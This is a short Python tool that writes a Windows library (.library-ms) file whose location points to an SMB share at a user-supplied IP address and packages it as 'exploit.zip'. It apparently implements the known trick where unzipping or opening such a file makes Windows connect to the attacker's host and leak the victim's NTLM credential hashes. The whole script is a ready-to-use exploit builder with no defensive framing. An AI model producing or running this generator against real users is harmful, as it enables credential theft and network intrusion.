import os
import zipfile
import argparse
import re
import sys

def is_valid_ip(ip):
    ip_pattern = re.compile(r"^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$")
    return ip_pattern.match(ip)

def display_help():
    print("""
    Usage: python script.py <file_name> <ip_address>

    Parameters:
    <file_name>  : A simple text (the name of the file to be created without extension).
    <ip_address> : A valid IP address where the shared resource is located.

    Example:
    python script.py myfile 192.168.1.1
    """)

def main():
    parser = argparse.ArgumentParser(description="Create and zip a library file with a network path.")
    parser.add_argument("fileName", help="Name of the file to create (without extension)")
    parser.add_argument("ip_address", help="IP address where the shared resource is located")
    args = parser.parse_args()

    if not is_valid_ip(args.ip_address):
        print("[ERROR] Invalid IP address format.")
        display_help()
        sys.exit(1)

    content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{args.ip_address}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""
    fullName = f"{args.fileName}.library-ms"

    try:
        with open(fullName, "w", encoding="utf-8") as f:
            f.write(content)

        with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
            zipf.write(fullName, arcname=fullName)

        if os.path.exists(fullName):
            os.remove(fullName)

        print(f"[+] File {fullName} created and zipped as exploit.zip")

    except Exception as e:
        print(f"[ERROR] An error occurred: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()

